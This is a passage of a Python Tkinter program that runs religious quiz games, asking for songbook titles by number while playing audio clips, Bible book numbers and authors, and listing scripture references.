answer_label_songs_jesus_ransom = Label(songs_jesus_ransom_frame, text=\"\",\n        font=\"Helvetica 20 bold\", fg='DarkOrchid4', bg='gray90')\n    answer_label_songs_jesus_ransom.pack(pady=15)            \n   \n    # Create score text for keeping track of score\n    r_score_text = \"Score: \" + str(correct) + \" out of \" + str(total)\n    \n    # Create score label for keeping track of score\n    global running_score_label\n    running_score_label = Label(songs_jesus_ransom_frame, text=r_score_text, \n        font=\"Helvetica 20 bold\", fg='DarkOrchid4', bg='gray90')\n    running_score_label.pack(pady=10) \n\ndef all_songs():\n    \n    # Hide previous frames\n    hide_all_frames()\n    all_songs_frame.pack(fill=\"both\", expand=1)\n    \n    # my_label = Label(songs_jah_frame, text=\"Songs About Jah\").pack()\n    \n    global show_all_songs\n    show_all_songs = Label(all_songs_frame)\n    show_all_songs.pack(pady=15)\n    \n    global all_songs_nums\n    all_songs_nums = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', \n        '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', \n        '23', '24', '25', '26', '27', '28', '29', '30', '31', '32', '33', '34', \n        '35', '36', '37', '38', '39', '40', '41', '42', '43', '44', '45', '46', \n        '47', '48', '49', '50', '51', '52', '53', '54', '55', '56', '57', '58', \n        '59', '60', '61', '62', '63', '64', '65', '66', '67', '68', '69', '70', \n        '71', '72', '73', '74', '75', '76', '77', '78', '79', '80', '81', '82', \n        '83', '84', '85', '86', '87', '88', '89', '90', '91', '92', '93', '94', \n        '95', '96', '97', '98', '99', '100', '101', '102', '103', '104', '105', \n        '106', '107', '108', '109', '110', '111', '112', '113', '114', '115', \n        '116', '117', '118', '119', '120', '121', '122', '123', '124', '125', \n        '126', '127', '128', '129', '130', '131', '132', '133', '134', '135', \n        '136', '137', '138', '139', '140', '141', '142', '143', '144', '145', \n        '146', '147', '148', '149', '150', '151',\n        ]\n        \n    global all_songs_titles\n    all_songs_titles = {\n        '1':\"Jehovah's Attributes\",\n        '2':\"Jehovah Is Your Name\",\n        '3':\"Our Strength, Our Hope, Our Confidence\",\n        '4':\"Jehovah Is My Shepherd\",\n        '5':\"God's Wondrous Works\",\n        '6':\"The Heavens Declare God's Glory\",\n        '7':\"Jehovah, Our Strength\",\n        '8':\"Jehovah Is Our Refuge\",\n        '9':\"Jehovah Is Our King\",\n        '10':\"Praise Jehovah Our God!\",\n        '11':\"Creation Praises God\",\n        '12':\"Great God, Jehovah\",\n        '13':\"Christ Our Model\",\n        '14':\"Praising Earth's New King\",\n        '15':\"Praise Jehovah's Firstborn!\",\n        '16':\"Praise Jah for His Son, the Anointed\",\n        '17':\"I Want To\",\n        '18':\"Grateful for the Ransom\",\n        '19':\"The Lord's Evening Meal\",\n        '20':\"You Gave Your Precious Son\",\n        '21':\"Keep On Seeking First The Kingdom\",\n        '22':\"The Kingdom Is in Place-Let It Come!\", \n        '23':\"Jehovah Begins His Rule\", \n        '24':\"Come to Jehovah's Mountain\", \n        '25':\"A Special Possession\", \n        '26':\"You Did It for Me\", \n        '27':\"The Revealing of God's Sons\", \n        '28':\"Gaining Jehovah's Friendship\", \n        '29':\"Living Up to Our Name\", \n        '30':\"My Father, My God and Friend\", \n        '31':\"Oh, Walk With God!\", \n        '32':\"Take Sides With Jehovah!\", \n        '33':\"Throw Your Burden on Jehovah\", \n        '34':\"Walking in Integrity\", \n        '35':\"Make Sure of the More Important Things\", \n        '36':\"We Guard Our Hearts\", \n        '37':\"Serving Jehovah Whole-Souled\", \n        '38':\"He Will Make You Strong\", \n        '39':\"Make a Good Name With God\", \n        '40':\"To Whom Do We Belong\", \n        '41':\"Please Hear My Prayer\", \n        '42':\"The Prayer of God's Servant\", \n        '43':\"A Prayer of Thanks\", \n        '44':\"A Prayer of the Lowly One\", \n        '45':\"The Meditation of My Heart\", \n        '46':\"We Thank You, Jehovah\", \n        '47':\"Pray to Jehovah Each Day\", \n        '48':\"Daily Walking With Jehovah\", \n        '49':\"Making Jehovah's Heart Glad\", \n        '50':\"My Prayer of Dedication\", \n        '51':\"To God We Are Dedicated\", \n        '52':\"Christian Dedication\", \n        '53':\"Preparing to Preach\", \n        '54':\"This Is the Way\", \n        '55':\"Fear Them Not!\", \n        '56':\"Make the Truth Your Own\",\n        '57':\"Preaching to All Sorts of People\", \n        '58':\"Searching for Friends of Peace\", \n        '59':\"Praise Jah With Me\", \n        '60':\"It Means Their Life\", \n        '61':\"Forward You Witnesses!\", \n        '62':\"The New Song\", \n        '63':\"We're Jehovah's Witnesses!\", \n        '64':\"Sharing Joyfully in the Harvest\", \n        '65':\"Move Ahead!\", \n        '66':\"Declare the Good News\", \n        '67':\"Preach the Word\", \n        '68':\"Sowing Kingdom Seed\", \n        '69':\"Go Forward in Preaching the Kingdom\", \n        '70':\"Search Out Deserving Ones\", \n        '71':\"We Are Jehovah's Army!\", \n        '72':\"Making Known the Kingdom Truth\", \n        '73':\"Grand Us Boldness\", \n        '74':\"Join in the Kingdom Song!\", \n        '75':\"Here I Am! Send Me!\", \n        '76':\"How Does It Make You Feel?\", \n        '77':\"Light in a Darkened World\", \n        '78':\"Teaching the Word of God\", \n        '79':\"Teach Them to Stand Firm\", \n        '80':\"Taste and See That Jehovah Is Good\", \n        '81':\"The Life of a Pioneer\", \n        '82':\"Let Your Light Shine\", \n        '83':\"From House to House\", \n        '84':\"Reaching Out\", \n        '85':\"Welcome One Another\", \n        '86':\"We Must Be Taught\", \n        '87':\"Come! Be Refreshed\", \n        '88':\"Make Me Know Your Ways\", \n        '89':\"Listen, Obey, and Be Blessed\", \n        '90':\"Encourage One Another\", \n        '91':\"Our Labor of Love\", \n        '92':\"A Place Bearing Your Name\", \n        '93':\"Bless Our Meeting Together\", \n        '94':\"Grateful for God's Word\", \n        '95':\"The Light Gets Brighter\", \n        '96':\"God's Own Book - A Treasure\", \n        '97':\"Life Depends on God's Word\", \n        '98':\"The Scriptures - Inspired of God\", \n        '99':\"Myriads of Brothers\", \n        '100':\"Receive The With Hospitality\", \n        '101':\"Working Together in Unity\", \n        '102':\"Assist Those Who Are Weak\", \n        '103':\"Shepherds - Gifts in Men\", \n        '104':\"God's Gift of Holy Spirit\", \n        '105':\"God Is Love\", \n        '106':\"Cultivating the Quality of Love\", \n        '107':\"The Divine Pattern of Love\", \n        '108':\"God's Loyal Love\", \n        '109':\"Love Intensely From the Heart\", \n        '110':\"The Joy of Jehovah\", \n        '111':\"Our Reasons for Joy\", \n        '112':\"Jehovah, God of Peace\", \n        '113':\"Our Possession of Peace\", \n        '114':\"Exercise Patience\", \n        '115':\"Gratitude for Divine Patience\", \n        '116':\"The Power of Kindness\", \n        '117':\"The Quality of Goodness\", \n        '118':\"Give Us More Faith\", \n        '119':\"We Must Have Faith\", \n        '120':\"Imitate Christ's Mildness\", \n        '121':\"We Need Self-Control\", \n        '122':\"Be Steadfast, Immovable\", \n        '123':\"Loyally Submitting to Theocratic Order\", \n        '124':\"Ever Loyal\", \n        '125':\"Happy Are the Merciful\", \n        '126':\"Stay Awake, Stand Firm, Grow Mighty\", \n        '127':\"The Sort of Person I Should Be\", \n        '128':\"Enduring to the End\", \n        '129':\"We Will Keep Enduring\", \n        '130':\"Be Forgiving\", \n        '131':\"What God Has Yoked Together\", \n        '132':\"Now We Are One\", \n        '133':\"Worship Jehovah During Youth\", \n        '134':\"Children Are a Trust From God\", \n        '135':\"Jehovah's Warm Appeal: 'Be Wise, My Son'\", \n        '136':\"A Perfect Wage From Jehovah\", \n        '137':\"Faithful Women, Christian Sisters\", \n        '138':\"Beauty in Gray-Headedness\", \n        '139':\"See Yourself When All Is New\", \n        '140':\"Life Without End - At Last!\", \n        '141':\"The Miracle of Life\", \n        '142':\"Holding Fast to Our Hope\", \n        '143':\"Keep Working, Watching, and Waiting\", \n        '144':\"Keep Your Eyes on the Prize!\", \n        '145':\"God's Promise of Paradise\", \n        '146':\"Making All Things New\", \n        '147':\"Life Everlasting Is Promised\", \n        '148':\"Jehovah Provides Escape\", \n        '149':\"A Victory Song\", \n        '150':\"Seek God for Your Deliverance\", \n        '151':\"He Will Call\",\n        }\n        \n    # Generate Random Number\n    global rand_num\n    rand_num = randint(0, len(all_songs_nums)-1)\n    \n    global answer\n    answer = all_songs_nums[rand_num]\n    \n    # Create empty answer list and counter\n    answer_list = []\n    count = 1\n    \n    # Generate four random song numbers\n    while count < 5:\n        rand_num = randint(0, len(all_songs_nums)-1)\n        \n        # If first selection, make it our answer\n        if count == 1:\n            answer = all_songs_nums[rand_num]\n            global song_label\n            song_label = Label(all_songs_frame, \n                text=(\"What is the title of Song Number \" + \n                all_songs_nums[rand_num] + \"?\"), \n                font=\"Helvetica 18 bold\", fg='DarkOrchid4', bg='gray90')\n            song_label.pack(pady=15)\n            \n        # Add first selection to our list\n        answer_list.append(all_songs_nums[rand_num])\n        \n        # Remove answer from list\n        all_songs_nums.remove(all_songs_nums[rand_num])\n        \n        # Shuffle original list\n        random.shuffle(all_songs_nums)\n        \n        count += 1\n    \n    # Play 10 second song segment for 'name that tune'    \n    file_path = \"music/\"\n    if len(answer) == 1:\n        song_answer = '00' + str(answer)\n        music_file = file_path + \"sjjm_E_\" + song_answer + \".mp3\"\n        # print(music_file)\n        song = AudioSegment.from_mp3(music_file)\n        ten_secs = song[:10000]\n        play(ten_secs)\n    elif len(answer) == 2:\n        song_answer = '0' + str(answer)\n        music_file = file_path + \"sjjm_E_\" + song_answer + \".mp3\"\n        # print(music_file)\n        song = AudioSegment.from_mp3(music_file)\n        ten_secs = song[:10000]\n        play(ten_secs)\n    else:\n        music_file = file_path + \"sjjm_E_\" + answer + \".mp3\"\n        # print(music_file)\n        song = AudioSegment.from_mp3(music_file)\n        ten_secs = song[:10000]\n        play(ten_secs)\n            \n    random.shuffle(answer_list)\n        \n    global all_songs_radio\n    all_songs_radio = StringVar()\n    all_songs_radio.set(all_songs_titles[answer_list[0]])\n    \n    all_songs_radio_button1 = Radiobutton(all_songs_frame, bg='gray90', \n        text=all_songs_titles[answer_list[0]], variable=all_songs_radio, \n        value=all_songs_titles[answer_list[0]]).pack()\n\n    all_songs_radio_button1 = Radiobutton(all_songs_frame, bg='gray90', \n        text=all_songs_titles[answer_list[1]], variable=all_songs_radio, \n        value=all_songs_titles[answer_list[1]]).pack()\n        \n    all_songs_radio_button1 = Radiobutton(all_songs_frame, bg='gray90', \n        text=all_songs_titles[answer_list[2]], variable=all_songs_radio, \n        value=all_songs_titles[answer_list[2]]).pack()\n        \n    all_songs_radio_button1 = Radiobutton(all_songs_frame, bg='gray90', \n        text=all_songs_titles[answer_list[3]], variable=all_songs_radio, \n        value=all_songs_titles[answer_list[3]]).pack()                \n\n    # Add a \"next\" button\n    next_button = Button(all_songs_frame, text=\"Next Song\", command=all_songs, \n        bg='gray90')\n    next_button.pack(pady=15)\n    \n    # Create a button to answer\n    all_songs_answer_button = Button(all_songs_frame, text=\"Answer\",\n        command=all_songs_answer, bg='gray90')\n    all_songs_answer_button.pack(pady=15)\n    \n    # Add a button to clear the score if desired\n    score_button = Button(all_songs_frame, text=\"Clear Score\", command=clscore, \n        bg='gray90')\n    score_button.pack(pady=15)\n    \n    # Create answer label for correct / incorrect\n    global answer_label_all_songs\n    answer_label_all_songs = Label(all_songs_frame, text=\"\",\n        font=\"Helvetica 20 bold\", fg='DarkOrchid4', bg='gray90')\n    answer_label_all_songs.pack(pady=15)\n    \n    # Create score text for keeping track of score\n    r_score_text = \"Score: \" + str(correct) + \" out of \" + str(total)\n    \n    # Create score label for keeping track of score\n    global running_score_label\n    running_score_label = Label(all_songs_frame, text=r_score_text, \n        font=\"Helvetica 20 bold\", fg='DarkOrchid4', bg='gray90')\n    running_score_label.pack(pady=10)\n\n\ndef bible_books_quiz():\n    \n    # Hide previous frames\n    hide_all_frames()\n    bible_books_quiz_frame.pack(fill=\"both\", expand=1)\n    \n        \n    global show_bible_books_quiz\n    show_bible_books_quiz = Label(bible_books_quiz_frame)\n    show_bible_books_quiz.pack(pady=15)\n    \n    global bible_books_quiz_nums\n    bible_books_quiz_nums = [\n    '1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', \n    '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', \n    '27', '28', '29', '30', '31', '32', '33', '34', '35', '36', '37', '38', \n    '39', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '50', \n    '51', '52', '53', '54', '55', '56', '57', '58', '59', '60', '61', '62', \n    '63', '64', '65', '66'\n    ]\n        \n    global bible_books_quiz_titles\n    bible_books_quiz_titles = {\n    '1': 'Genesis', '2': 'Exodus', '3': 'Leviticus', '4': 'Numbers', \n    '5': 'Deuteronomy', '6': 'Joshua', '7': 'Judges', '8': 'Ruth', \n    '9': '1 Samuel', '10': '2 Samuel', \n    '11': '1 Kings', '12': '2 Kings', '13': '1 Chronicles', '14': '2 Chronicles', \n    '15': 'Ezra', '16': 'Nehemiah', '17': 'Esther', '18': 'Job', '19': 'Psalms', \n    '20': 'Proverbs', '21': 'Ecclesiastes', '22': 'Song of Solomon', \n    '23': 'Isaiah', '24': 'Jeremiah', '25': 'Lamentations', '26': 'Ezekiel', \n    '27': 'Daniel', '28': 'Hosea', '29': 'Joel', '30': 'Amos', \n    '31': 'Obadiah', '32': 'Jonah', '33': 'Micah', '34': 'Nahum', \n    '35': 'Habakkuk', '36': 'Zephaniah', '37': 'Haggai', '38': 'Zechariah', \n    '39': 'Malachi', '40': 'Matthew', '41': 'Mark', '42': 'Luke', '43': 'John', \n    '44': 'Acts', '45': 'Romans', '46': '1 Corinthians', '47': '2 Corinthians', \n    '48': 'Galatians', '49': 'Ephesians', '50': 'Philippians', '51': 'Colossians',\n    '52': '1 Thessalonians', '53': '2 Thessalonians', '54': '1 Timothy', \n    '55': '2 Timothy', '56': 'Titus', '57': 'Philemon', '58': 'Hebrews', \n    '59': 'James', '60': '1 Peter', '61': '2 Peter', '62': '1 John', \n    '63': '2 John', '64': '3 John', '65': 'Jude', '66': 'Revelation', \n    }\n        \n    # Generate Random Number\n    global rand_num\n    rand_num = randint(0, len(bible_books_quiz_nums)-1)\n    \n    global answer\n    answer = bible_books_quiz_nums[rand_num]\n    \n    # Create empty answer list and counter\n    answer_list = []\n    count = 1\n    \n    # Generate four random bible book numbers\n    while count < 5:\n        rand_num = randint(0, len(bible_books_quiz_nums)-1)\n        \n        # If first selection, make it our answer\n        if count == 1:\n            answer = bible_books_quiz_nums[rand_num]\n            global bible_books_quiz_label\n            bible_books_quiz_label = Label(bible_books_quiz_frame, \n                text=(\"What is the title of Bible Book Number \" + \n                bible_books_quiz_nums[rand_num] + \"?\"), \n                font=\"Helvetica 18 bold\", fg='DarkOrchid4', bg='gray90')\n            bible_books_quiz_label.pack(pady=15)\n            \n        # Add first selection to our list\n        answer_list.append(bible_books_quiz_nums[rand_num])\n        \n        # Remove answer from list\n        bible_books_quiz_nums.remove(bible_books_quiz_nums[rand_num])\n        \n        # Shuffle original list\n        random.shuffle(bible_books_quiz_nums)\n        \n        count += 1\n        \n    random.shuffle(answer_list)\n    \n    global bible_books_quiz_radio\n    bible_books_quiz_radio = StringVar()\n    bible_books_quiz_radio.set(bible_books_quiz_titles[answer_list[0]])\n    \n    bible_books_quiz_radio_button1 = Radiobutton(bible_books_quiz_frame,\n        text=bible_books_quiz_titles[answer_list[0]], bg='gray90', \n        variable=bible_books_quiz_radio, \n         value=bible_books_quiz_titles[answer_list[0]]).pack()\n\n    bible_books_quiz_radio_button1 = Radiobutton(bible_books_quiz_frame, \n        text=bible_books_quiz_titles[answer_list[1]], bg='gray90', \n        variable=bible_books_quiz_radio, \n         value=bible_books_quiz_titles[answer_list[1]]).pack()\n        \n    bible_books_quiz_radio_button1 = Radiobutton(bible_books_quiz_frame, \n        text=bible_books_quiz_titles[answer_list[2]], bg='gray90', \n        variable=bible_books_quiz_radio, \n         value=bible_books_quiz_titles[answer_list[2]]).pack()\n        \n    bible_books_quiz_radio_button1 = Radiobutton(bible_books_quiz_frame, \n        text=bible_books_quiz_titles[answer_list[3]], bg='gray90', \n        variable=bible_books_quiz_radio, \n         value=bible_books_quiz_titles[answer_list[3]]).pack()               \n\n    # Add a \"pass\" or \"next\" button\n    next_button = Button(bible_books_quiz_frame, text=\"Next Book\", \n        command=bible_books_quiz)\n    next_button.pack(pady=15)\n    \n    # Create a button to answer\n    bible_books_quiz_answer_button = Button(bible_books_quiz_frame, \n        text=\"Answer\", command=bible_books_quiz_answer)\n    bible_books_quiz_answer_button.pack(pady=15)\n    \n    # Add a button to clear the score if desired\n    score_button = Button(bible_books_quiz_frame, text=\"Clear Score\", \n        command=clscore, bg='gray90')\n    score_button.pack(pady=15)\n    \n    # Create answer label for correct / incorrect\n    global answer_label_bible_books_quiz\n    answer_label_bible_books_quiz = Label(bible_books_quiz_frame, text=\"\",\n        font=\"Helvetica 20 bold\", fg='DarkOrchid4', bg='gray90')\n    answer_label_bible_books_quiz.pack(pady=15)\n    \n    # Create score text for keeping track of score\n    r_score_text = \"Score: \" + str(correct) + \" out of \" + str(total)\n    \n    # Create score label for keeping track of score\n    global running_score_label\n    running_score_label = Label(bible_books_quiz_frame, text=r_score_text, \n        font=\"Helvetica 20 bold\", fg='DarkOrchid4', bg='gray90')\n    running_score_label.pack(pady=10)\n\n\ndef bible_writers():\n    \n    # Hide previous frames\n    hide_all_frames()\n    bible_writers_frame.pack(fill=\"both\", expand=1)\n    \n        \n    global show_bible_writers\n    show_bible_writers = Label(bible_writers_frame)\n    show_bible_writers.pack(pady=15)\n    \n    global bible_writers_nums\n    bible_writers_nums = [\n    'Genesis', 'Exodus', 'Leviticus', 'Numbers', 'Deuteronomy', 'Joshua', \n    'Judges', 'Ruth', '1 Samuel', '2 Samuel', '1 Kings', '2 Kings', \n    '1 Chronicles', '2 Chronicles', 'Ezra', 'Nehemiah', 'Esther', 'Job', \n    'Psalms', 'Proverbs', 'Ecclesiastes', 'Song of Solomon', 'Isaiah', \n    'Jeremiah', 'Lamentations', 'Ezekiel', 'Daniel', 'Hosea', 'Joel', \n    'Amos', 'Obadiah', 'Jonah', 'Micah', 'Nahum', 'Habakkuk', 'Zephaniah',\n    'Haggai', 'Zechariah', 'Malachi', 'Matthew', 'Mark', 'Luke', 'John', 'Acts',\n    'Romans', '1 Corinthians', '2 Corinthians', 'Galatians', 'Ephesians', \n    'Philippians', 'Colossians', '1 Thessalonians', '2 Thessalonians', \n    '1 Timothy', '2 Timothy', 'Titus', 'Philemon', 'Hebrews', 'James', \n    '1 Peter', '2 Peter', '1 John', '2 John', '3 John', 'Jude', 'Revelation',\n    ]\n        \n    global bible_writers_titles\n    bible_writers_titles = {\n    'Genesis': \"Moses\", \n    'Exodus': \"Moses\", \n    'Leviticus': \"Moses\", \n    'Numbers': \"Moses\",\n    'Deuteronomy': \"Moses\", \n    'Joshua': \"Joshua\", \n    'Judges': \"Samuel\", \n    'Ruth': \"Samuel\", \n    '1 Samuel': \"Samuel, Gad, Nathan\", \n    '2 Samuel':  \"Gad, Nathan\", \n    '1 Kings': \"Jeremiah\", \n    '2 Kings': \"Jeremiah\", \n    '1 Chronicles': \"Ezra\", \n    '2 Chronicles': \"Ezra\", \n    'Ezra': \"Ezra\", \n    'Nehemiah': \"Nehemiah\", \n    'Esther': \"Mordecai\", \n    'Job': \"Moses\", \n    'Psalms': \"David and Others\", \n    'Proverbs': \"Solomon, Agur, Lemuel\", \n    'Ecclesiastes': \"Solomon\", \n    'Song of Solomon': \"Solomon\", \n    'Isaiah': \"Isaiah\", \n    'Jeremiah': \"Jeremiah\", \n    'Lamentations': \"Jeremiah\", \n    'Ezekiel': \"Ezekiel\", \n    'Daniel': \"Daniel\", \n    'Hosea': \"Hosea\", \n    'Joel': \"Joel\", \n    'Amos': \"Amos\", \n    'Obadiah': \"Obadiah\", \n    'Jonah': \"Jonah\", \n    'Micah': \"Micah\", \n    'Nahum': \"Nahum\", \n    'Habakkuk': \"Habakkuk\", \n    'Zephaniah': \"Zephaniah\", \n    'Haggai': \"Haggai\", \n    'Zechariah': \"Zechariah\", \n    'Malachi': \"Malachi\", \n    'Matthew': \"Matthew\", \n    'Mark': \"Mark\", \n    'Luke': \"Luke\", \n    'John': \"Apostle John\", \n    'Acts': \"Luke\", \n    'Romans': \"Paul\", \n    '1 Corinthians': \"Paul\", \n    '2 Corinthians': \"Paul\", \n    'Galatians': \"Paul\", \n    'Ephesians': \"Paul\", \n    'Philippians': \"Paul\", \n    'Colossians': \"Paul\",\n    '1 Thessalonians': \"Paul\", \n    '2 Thessalonians': \"Paul\", \n    '1 Timothy': \"Paul\", \n    '2 Timothy': \"Paul\", \n    'Titus': \"Paul\", \n    'Philemon': \"Paul\", \n    'Hebrews': \"Paul\", \n    'James': \"James, Jesus' Brother\", \n    '1 Peter': \"Peter\", \n    '2 Peter': \"Peter\", \n    '1 John': \"Apostle John\", \n    '2 John': \"Apostle John\", \n    '3 John': \"Apostle John\", \n    'Jude': \"Jude, Jesus Brother\", \n    'Revelation': \"Apostle John\", \n    }\n        \n    # Generate Random Number\n    global rand_num\n    rand_num = randint(0, len(bible_writers_nums)-1)\n    \n    global answer\n    answer = bible_writers_nums[rand_num]\n    \n    # Create empty answer list and counter\n    answer_list = []\n    count = 1\n    \n    # Generate four random bible book numbers\n    while count < 5:\n        rand_num = randint(0, len(bible_writers_nums)-1)\n        \n        # If first selection, make it our answer\n        if count == 1:\n            answer = bible_writers_nums[rand_num]\n            global bible_writers_label\n            bible_writers_label = Label(bible_writers_frame, \n                text=(\"Who is the author of this book: \" + \n                bible_writers_nums[rand_num] + \"?\"), \n                font=\"Helvetica 18 bold\", fg='DarkOrchid4', bg='gray90')\n            bible_writers_label.pack(pady=15)\n            \n        # Add first selection to our list\n        answer_list.append(bible_writers_nums[rand_num])\n        \n        # Remove answer from list\n        bible_writers_nums.remove(bible_writers_nums[rand_num])\n        \n        # Shuffle original list\n        random.shuffle(bible_writers_nums)\n        \n        count += 1\n        \n    random.shuffle(answer_list)\n    \n    global bible_writers_radio\n    bible_writers_radio = StringVar()\n    bible_writers_radio.set(bible_writers_titles[answer_list[0]])\n    \n    bible_writers_radio_button1 = Radiobutton(bible_writers_frame, \n        text=bible_writers_titles[answer_list[0]], bg='gray90', \n        variable=bible_writers_radio, \n         value=bible_writers_titles[answer_list[0]]).pack()\n\n    bible_writers_radio_button2 = Radiobutton(bible_writers_frame, \n        text=bible_writers_titles[answer_list[1]], bg='gray90', \n        variable=bible_writers_radio, \n         value=bible_writers_titles[answer_list[1]]).pack()\n        \n    bible_writers_radio_button3 = Radiobutton(bible_writers_frame, \n        text=bible_writers_titles[answer_list[2]], bg='gray90', \n        variable=bible_writers_radio, \n         value=bible_writers_titles[answer_list[2]]).pack()\n        \n    bible_writers_radio_button4 = Radiobutton(bible_writers_frame, \n        text=bible_writers_titles[answer_list[3]], bg='gray90', \n        variable=bible_writers_radio, \n         value=bible_writers_titles[answer_list[3]]).pack()               \n\n    # Add a \"pass\" or \"next\" button\n    next_button = Button(bible_writers_frame, text=\"Next Book\", bg='gray90', \n        command=bible_writers)\n    next_button.pack(pady=15)\n    \n    # Create a button to answer\n    bible_writers_answer_button = Button(bible_writers_frame, bg='gray90', \n        text=\"Answer\", command=bible_writers_answer)\n    bible_writers_answer_button.pack(pady=15)\n    \n    # Add a button to clear the score if desired\n    score_button = Button(bible_writers_frame, text=\"Clear Score\", \n        command=clscore, bg='gray90')\n    score_button.pack(pady=15)\n    \n    # Create answer label for correct / incorrect\n    global answer_label_bible_writers\n    answer_label_bible_writers = Label(bible_writers_frame, text=\"\",\n        font=\"Helvetica 18\", bg='gray90', fg='DarkOrchid4')\n    answer_label_bible_writers.pack(pady=15)\n    \n    # Create score text for keeping track of score\n    r_score_text = \"Score: \" + str(correct) + \" out of \" + str(total)\n    \n    # Create score label for keeping track of score\n    global running_score_label\n    running_score_label = Label(bible_writers_frame, text=r_score_text, \n        font=\"Helvetica 20 bold\", fg='DarkOrchid4', bg='gray90')\n    running_score_label.pack(pady=10)\n    \n\n# Create function to pull scriptures from list at random with text images\ndef scrips():\n    \n    # Hide previous frames\n    hide_all_frames()\n    scrips_frame.pack(fill=\"both\", expand=1)\n    \n    # Create global variables for labels referenced by other functions   \n    global show_scrips\n    show_scrips = Label(scrips_frame)\n    show_scrips.pack(pady=15)\n    \n    # Create global list of scripture file names\n    global scrips_files\n    scrips_files = [\n        '1cor1528', '2pet121', 'gal65', 'isa428', 'matt2414', 'prov356', 'rev2134',\n        '1john31920', 'gen11', 'jas113', 'matt2478', 'ps1003', 'rom1013',\n        '1john38', '2tim316', 'gen2218', 'jas15', 'matt251112', 'ps113', 'rom120',\n        '1john519', 'acts83031', 'gen315', 'job267', 'matt281920', 'ps2218',\n        'rom1620', '1pet57', 'dan244', 'heb102425', 'job3410', 'matt610',\n        'ps8318', '1thess213', 'dan71', 'heb34', 'josh18', 'micah52',\n        'rev1115', '1tim_3_1-5', 'eccl17', 'isa4022', 'luke2111', 'neh88', 'rev129',\n        '1tim415', 'ex244', 'isa4026', 'mark137', 'prov1320', 'rev202',\n        'prov_14_30', 'acts_20_35', 'eph_5_33', 'eccl_5_10', 'jas_1_19',\n        'isa_33_24', 'isa_35_5', 'john_5_28_29', 'deut_32_4', 'jer_32_17',\n        'rom_11_33', '1john_4_8', 'matt_15_32', 'luke_24_19', 'luke_22_27',\n        'titus_1_4', 'matt_28_5_6', 'luke_24_51', 'acts_2_32', '1cor_15_4-6',\n        'psalm_91_9_11', 'psalm_103_20', 'rev_19_10', 'isa_25_8', 'ezek_33_11',\n        'rom_6_23', 'isa_55_11', 'eccl_8_9', 'rom_5_12', '2pet_3_9', 'gen_3_1',\n        'gen_3_4', 'gen_3_5', 'matt_20_28', '1cor_15_26', 'col_1_14', 'psalm_72_8',\n        'dan_7_14', 'matt_28_18', 'psalm_37_10', 'psalm_72_16', 'rev_5_10',\n        'isa_9_7', 'matt_13_19', 'luke_17_20_21', 'isa_30_15', 'psalm_13_2',\n        '1john_4_7', 'rev_7_10', 'rom_12_10', 'acts_24_15', '1cor_15_55',\n        '1cor_15_29', 'prov_24_16', 'psalm_34_18', 'psalm_55_22', 'heb_13_5',\n        '2cor_13_11', 'prov_4_25', '2cor_3_3', '1tim_4_16', 'zech_4_6', 'luke_2_52',\n        'luke_5_10', 'eccl_11_6', '2chron_14_6', 'psalm_68_11', '1tim_6_20',\n        'eccl_5_8', 'heb_11_10', 'micah_6_8', '1cor_12_12', '1cor_12_21',\n        'rom_12_3', '2tim_3_14', '2cor_12_10', '3john_4', 'psalm_135_13',\n        'psalm_86_11_12', 'ezek_34_11', 'mal_3_7', 'dan_11_40', 'dan_11_45',\n        'psalm_40_5', '2cor_4_18', 'joel_1_6', 'john_4_35', 'john_7_24',\n        'john_15_15', '2tim_4_7', 'acts_8_36', '1peter_3_21', '1peter_1_22',\n        'matt_6_9', '1john_4_19', 'rom_14_19', 'psalm_94_19', 'col_4_11',\n        'psalm_136_23', 'rom_8_16', 'zech_8_23', 'mark_6_31', 'lev_5_10',\n        'psalm_9_10', 'psalm_127_3', 'prov_17_17', 'phil_4_13', 'eph_6_16',\n        '2cor_8_11', '1cor_15_58', 'psalm_31_23', 'phil_2_13', 'nah_1_2',\n        'psalm_138_6', 'rev_16_16', 'heb_12_9', 'matt_11_28', 'rev_7_9',\n        '2cor_4_16', 'phil_1_9', 'heb_6_10', '2tim_3_12', 'acts_4_19_20',\n        '1cor_9_22', 'col_2_8', '2cor_10_5', '1sam_1_15', '1pet_3_8',\n        'gal_6_2', '2cor_1_3-4', '1cor_3_19', 'phil_1_10', '2tim_4_5', 'phil_4_7',\n        '1john_4_6', 'eph_6_12', 'acts_8_38', 'matt_17_5', 'mark_6_34', 'job_27_5',\n        'zeph_2_3', 'col_3_15', 'psalm_33_5', 'isa_41_10', 'psalm_22_22',\n        'prov_4_23', 'matt_26_26-28', '1cor_11_26', 'luke_23_43', 'mark_10_9',\n        'psalm_103_5', 'psalm_16_11', 'prov_23_23', 'psalm_86_11', 'rom_12_2',\n        'zech_8_16', 'psalm_119_159-160', 'matt_23_10', 'psalm_131_2', 'john_4_34',\n        '1cor_8_1', 'psalm_144_15', 'psalm_103_14', 'psalm_41_1', 'prov_18_13',\n        '1cor_3_9', 'psalm_123_1', 'deut_10_20', 'psalm_33_12', \n        'john_17_20-21', 'psalm_119_99', 'matt_5_16', 'luke_8_15', 'john_15_8',\n        '2cor_2_11', 'eph_6_11', 'john_8_36', '2cor_3_17', 'prov_16_3',\n        'acts_22_16', '1pet_4_9', 'heb_12_6', 'prov_8_32-33', 'ezek_14_14',\n        'prov_28_5', 'rom_15_5', 'gal_5_16', 'isa_40_31', 'psalm_133_1',\n        '1chron_29_13', 'mal_3_18', 'john_11_11', '1cor_15_45', '2tim_3_15',\n        'phil_2_12', 'psalm_147_1', 'psalm_34_22', 'zech_7_9',\n    ]\n\n    # Create global list of scripture titles to match names\n    global scrips_text\n    scrips_text = {\n        '1cor1528': \"1 Corinthians 15:28\", '2pet121': \"2 Peter 1:21\",\n        'gal65': \"Galatians 6:5\", 'isa428': \"Isaiah  42:8\",\n        'matt2414': \"Matthew 24:14\", 'prov356': \"Proverbs 3:5, 6\",\n        'rev2134': \"Revelation 21:3, 4\", '1john31920': \"1 John 3:19, 20\",\n        'gen11': \"Genesis 1:1\", 'jas113': \"James 1:13\",\n        'matt2478': \"Matthew 24:7, 8\", 'ps1003': \"Psalm 100:3\",\n        'rom1013': \"Romans 10:13\", '1john38': \"1 John 3:8\",\n        '2tim316': \"2 Timothy 3:16\", 'gen2218': \"Genesis 22:18\",\n        'jas15': \"James 1:5\", 'matt251112': \"Matthew 25:11, 12\",\n        